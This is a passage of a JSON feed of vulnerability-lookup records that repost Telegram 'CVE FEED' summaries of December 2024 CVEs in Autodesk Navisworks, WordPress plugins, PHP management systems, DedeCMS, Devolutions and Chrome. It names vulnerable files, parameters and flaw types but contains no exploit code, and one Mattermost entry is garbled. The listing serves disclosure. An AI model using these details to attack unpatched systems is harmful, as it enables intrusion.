\nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:53.000000Z"}, {"uuid": "4c00f6e2-c07a-4b02-b65d-f5740ed45f50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12193", "type": "seen", "source": "https://t.me/cvedetector/13105", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12193 - Autodesk Navisworks DWFX Out-of-Bounds Write Advisory\", \n  \"Content\": \"CVE ID : CVE-2024-12193 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:52.000000Z"}, {"uuid": "e3f28f98-764c-4c66-bb33-606993f1209b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12670", "type": "seen", "source": "https://t.me/cvedetector/13101", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12670 - Autodesk Navisworks Heap-based Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12670 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWF file, when parsed through Autodesk Navisworks, can be used to cause a Heap-based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:46.000000Z"}, {"uuid": "1dcf229c-4abf-48d5-a49e-0a2646f13eac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12671", "type": "seen", "source": "https://t.me/cvedetector/13100", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12671 - Autodesk Navisworks Out-of-Bounds Write Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12671 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Write vulnerability. A malicious actor can leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:45.000000Z"}, {"uuid": "508c3662-179f-48d4-b47d-1ed1c2d9003a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12669", "type": "seen", "source": "https://t.me/cvedetector/13099", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12669 - Autodesk Navisworks Heap-based Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12669 \nPublished : Dec. 17, 2024, 4:15 p.m. | 19\u00a0minutes ago \nDescription : A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can be used to cause a Heap-based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T17:36:44.000000Z"}, {"uuid": "25baba96-370b-47b7-b484-2ecacfeb51e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12155", "type": "seen", "source": "https://t.me/cvedetector/12178", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12155 - The SV100 Companion plugin for WordPress is vulner\", \n  \"Content\": \"CVE ID : CVE-2024-12155 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The SV100 Companion plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the settings_import() function in all versions up to, and including, 2.0.02. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:35:50.000000Z"}, {"uuid": "a8e5058f-4911-47b4-96c7-c4ead91fcf5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12110", "type": "seen", "source": "https://t.me/cvedetector/12177", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12110 - The Gold Addons for Elementor plugin for WordPress\", \n  \"Content\": \"CVE ID : CVE-2024-12110 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The Gold Addons for Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the activate() and deactivate() functions in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to activate and deactivate licenses. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:35:49.000000Z"}, {"uuid": "fa68dc7f-cebe-4edd-8234-d1ad4ac8185f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12060", "type": "seen", "source": "https://t.me/cvedetector/12176", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12060 - The WP Media Optimizer (.webp) plugin for WordPres\", \n  \"Content\": \"CVE ID : CVE-2024-12060 \nPublished : Dec. 6, 2024, 9:15 a.m. | 19\u00a0minutes ago \nDescription : The WP Media Optimizer (.webp) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018wpmowebp-css-resources\u2019 and 'wpmowebp-js-resources' parameters in all versions up to, and including, 1.4.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T10:35:48.000000Z"}, {"uuid": "642c0ac9-004b-4c44-a1f5-627ea987fe8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12235", "type": "seen", "source": "https://t.me/cvedetector/12131", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12235 - A vulnerability was found in Shenzhen Dashi Tongzh\", \n  \"Content\": \"CVE ID : CVE-2024-12235 \nPublished : Dec. 5, 2024, 6:15 p.m. | 38\u00a0minutes ago \nDescription : A vulnerability was found in Shenzhen Dashi Tongzhou Information Technology AgileBPM up to 1.0.0. It has been declared as critical. Affected by this vulnerability is the function doFilter of the file \\agile-bpm-basic-master\\ab-auth\\ab-auth-spring-security-oauth2\\src\\main\\java\\com\\dstz\\auth\\filter\\AuthorizationTokenCheckFilter.java. The manipulation leads to improper access controls. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T20:22:53.000000Z"}, {"uuid": "dfaaa563-cdfd-4f43-af0c-b3779385c256", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12130", "type": "seen", "source": "https://t.me/cvedetector/12129", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12130 - An \u201cout of bounds read\u201d code execution vulnerabili\", \n  \"Content\": \"CVE ID : CVE-2024-12130 \nPublished : Dec. 5, 2024, 6:15 p.m. | 38\u00a0minutes ago \nDescription : An \u201cout of bounds read\u201d code execution vulnerability exists in the Rockwell Automation\u00a0Arena\u00ae  \n  \n that could allow a threat actor to craft a DOE file and force the software to read beyond the boundaries of an allocated memory. If exploited, a threat actor could leverage this vulnerability to execute arbitrary code. To exploit this vulnerability, a legitimate user must execute the malicious code crafted by the threat actor. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T20:22:52.000000Z"}, {"uuid": "f8455865-fbef-4bd0-8aa1-bd46d6bc5c48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12234", "type": "seen", "source": "https://t.me/cvedetector/12127", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12234 - A vulnerability was found in 1000 Projects Beauty\", \n  \"Content\": \"CVE ID : CVE-2024-12234 \nPublished : Dec. 5, 2024, 5:15 p.m. | 58\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Beauty Parlour Management System 1.0. It has been classified as critical. Affected is an unknown function of the file /admin/edit-customer-detailed.php. The manipulation of the argument name leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T19:32:43.000000Z"}, {"uuid": "afc7242e-3c07-4865-a80e-43ecc51a2a5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12233", "type": "seen", "source": "https://t.me/cvedetector/12126", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12233 - A vulnerability was found in code-projects Online\", \n  \"Content\": \"CVE ID : CVE-2024-12233 \nPublished : Dec. 5, 2024, 5:15 p.m. | 58\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Online Notice Board up to 1.0 and classified as critical. This issue affects some unknown processing of the file /registration.php of the component Profile Picture Handler. The manipulation of the argument img leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T19:32:43.000000Z"}, {"uuid": "e9f0988a-e991-42a2-b593-bec736274ac1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12247", "type": "seen", "source": "https://t.me/cvedetector/12117", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12247 - Mattermost versions 9.7.x <=<= 9.8.2\", \n  \"Content\": \"CVE ID : CVE-2024-12247 \nPublished : Dec. 5, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : Mattermost versions 9.7.x <=<=<=\nSeverity: 4.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T17:52:17.000000Z"}, {"uuid": "9c3a13e2-f437-4e1c-b017-cf235b2002e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12232", "type": "seen", "source": "https://t.me/cvedetector/12116", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12232 - A vulnerability has been found in code-projects Si\", \n  \"Content\": \"CVE ID : CVE-2024-12232 \nPublished : Dec. 5, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Simple CRUD Functionality 1.0 and classified as problematic. This vulnerability affects unknown code of the file /index.php. The manipulation of the argument newtitle/newdescr leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T17:52:16.000000Z"}, {"uuid": "2574c5aa-5dd9-4c6a-ba41-5dde5154075d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12230", "type": "seen", "source": "https://t.me/cvedetector/12108", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12230 - A vulnerability, which was classified as critical,\", \n  \"Content\": \"CVE ID : CVE-2024-12230 \nPublished : Dec. 5, 2024, 3:15 p.m. | 40\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in PHPGurukul Complaint Management System 1.0. Affected by this issue is some unknown functionality of the file /admin/subcategory.php. The manipulation of the argument category leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T17:02:04.000000Z"}, {"uuid": "7a80a413-3da9-4f6e-8508-528d0a9d19a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12229", "type": "seen", "source": "https://t.me/cvedetector/12107", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12229 - A vulnerability classified as critical was found i\", \n  \"Content\": \"CVE ID : CVE-2024-12229 \nPublished : Dec. 5, 2024, 3:15 p.m. | 40\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in PHPGurukul Complaint Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/complaint-search.php. The manipulation of the argument search leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T17:02:04.000000Z"}, {"uuid": "4eca710e-b830-489a-adb3-fe21560b97b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12227", "type": "seen", "source": "https://t.me/cvedetector/12106", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12227 - A vulnerability, which was classified as problemat\", \n  \"Content\": \"CVE ID : CVE-2024-12227 \nPublished : Dec. 5, 2024, 2:15 p.m. | 38\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in MSI Dragon Center up to 2.0.146.0. This affects the function MmUnMapIoSpace in the library NTIOLib_X64.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. It is possible to launch the attack on the local host. Upgrading to version 2.0.148.0 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T16:11:53.000000Z"}, {"uuid": "d7ef95ee-aefd-4a07-8b3d-aed0485d2975", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12228", "type": "seen", "source": "https://t.me/cvedetector/12104", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12228 - A vulnerability classified as critical has been fo\", \n  \"Content\": \"CVE ID : CVE-2024-12228 \nPublished : Dec. 5, 2024, 2:15 p.m. | 38\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in PHPGurukul Complaint Management System 1.0. Affected is an unknown function of the file /admin/user-search.php. The manipulation of the argument search leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T16:11:51.000000Z"}, {"uuid": "6268c060-e09e-4330-ae55-168f109909a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://t.me/cvedetector/11910", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12053 - Type Confusion in V8 in Google Chrome prior to 131\", \n  \"Content\": \"CVE ID : CVE-2024-12053 \nPublished : Dec. 3, 2024, 7:15 p.m. | 21\u00a0minutes ago \nDescription : Type Confusion in V8 in Google Chrome prior to 131.0.6778.108 allowed a remote attacker to potentially exploit object corruption via a crafted HTML page. (Chromium security severity: High) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-03T20:40:58.000000Z"}, {"uuid": "d4790876-4bc4-4113-941b-0dee37f99434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12185", "type": "seen", "source": "https://t.me/cvedetector/12049", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12185 - A vulnerability has been found in code-projects Ho\", \n  \"Content\": \"CVE ID : CVE-2024-12185 \nPublished : Dec. 5, 2024, 12:15 a.m. | 38\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Hotel Management System 1.0 and classified as problematic. This vulnerability affects unknown code of the component Administrator Login Password Handler. The manipulation of the argument Str2 leads to stack-based buffer overflow. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T01:58:13.000000Z"}, {"uuid": "e3c30450-8498-4ed5-ad72-55a9aca2390b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12186", "type": "seen", "source": "https://t.me/cvedetector/12043", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12186 - A vulnerability was found in code-projects Hotel M\", \n  \"Content\": \"CVE ID : CVE-2024-12186 \nPublished : Dec. 5, 2024, 12:15 a.m. | 37\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Hotel Management System 1.0 and classified as problematic. This issue affects some unknown processing of the file hotelnew.c of the component Available Room Handler. The manipulation of the argument admin_entry leads to stack-based buffer overflow. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T01:58:06.000000Z"}, {"uuid": "352b8464-e54e-4eb4-aa03-a90fe2d42cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12182", "type": "seen", "source": "https://t.me/cvedetector/12041", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12182 - A vulnerability, which was classified as problemat\", \n  \"Content\": \"CVE ID : CVE-2024-12182 \nPublished : Dec. 4, 2024, 11:15 p.m. | 37\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in DedeCMS 5.7.116. Affected by this issue is some unknown functionality of the file /member/soft_add.php. The manipulation of the argument body leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T01:07:58.000000Z"}, {"uuid": "4546445b-6409-44d4-8110-3f96e9e654c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12183", "type": "seen", "source": "https://t.me/cvedetector/12039", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12183 - A vulnerability, which was classified as problemat\", \n  \"Content\": \"CVE ID : CVE-2024-12183 \nPublished : Dec. 4, 2024, 11:15 p.m. | 37\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in DedeCMS 5.7.116. This affects the function RemoveXSS of the file /plus/carbuyaction.php of the component HTTP POST Request Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T01:07:57.000000Z"}, {"uuid": "432e7620-39e2-44e0-a275-f0e22b61bf09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12180", "type": "seen", "source": "https://t.me/cvedetector/12037", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12180 - A vulnerability classified as problematic has been\", \n  \"Content\": \"CVE ID : CVE-2024-12180 \nPublished : Dec. 4, 2024, 10:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in DedeCMS 5.7.116. Affected is an unknown function of the file /member/article_add.php. The manipulation of the argument body leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-05T00:17:47.000000Z"}, {"uuid": "aabf780b-764f-4dfd-b570-7da73dcdb3a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12196", "type": "seen", "source": "https://t.me/cvedetector/12021", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12196 - Incorrect authorization in the permission componen\", \n  \"Content\": \"CVE ID : CVE-2024-12196 \nPublished : Dec. 4, 2024, 6:15 p.m. | 50\u00a0minutes ago \nDescription : Incorrect authorization in the permission component in Devolutions Server 2024.3.7.0 and earlier allows an authenticated user to view the password history of an entry without the view password permission. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T20:06:39.000000Z"}, {"uuid": "6bc8c9c8-2453-4a6b-a7ca-b5a6a3dd0890", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12151", "type": "seen", "source": "https://t.me/cvedetector/12024", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12151 - Incorrect permission assignment in the user migrat\", \n  \"Content\": \"CVE ID : CVE-2024-12151 \nPublished : Dec. 4, 2024, 6:15 p.m. | 50\u00a0minutes ago \nDescription : Incorrect permission assignment in the user migration feature in Devolutions Server 2024.3.8.0 and earlier allows users to retain their old permission sets. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T20:06:41.000000Z"}, {"uuid": "e14c7f78-3b89-426e-b3a8-73e624814efe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12149", "type": "seen", "source": "https://t.me/cvedetector/12023", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12149 - Incorrect permission assignment in temporary acces\", \n  \"Content\": \"CVE ID : CVE-2024-12149 \nPublished : Dec. 4, 2024, 6:15 p.m. | 50\u00a0minutes ago \nDescription : Incorrect permission assignment in temporary access requests component in Devolutions Remote Desktop Manager 2024.3.19.0 and earlier on Windows allows an authenticated user that request temporary permissions on an entry to obtain more privileges than requested. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-04T20:06:40.000000Z"}, {"uuid": "f7e555ce-8505-484f-8f99-df76eaae6de6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12148", "type": "seen", "source": "https://t.me/cvedetector/12022", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12148 - Incorrect authorization in permission validation c\", \n  \"Content\": \"CVE ID : CVE-2024-12148 \nPublished : Dec. 4, 2024, 6:15 p.m. | 50\u00a0minutes ago \nDescription : Incorrect authorization in permission validation component in Devolutions Server 2024.3.6.0 and earlier allows an authenticated user to access some reporting endpoints. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Dec 2024\",\n  \"Type\": 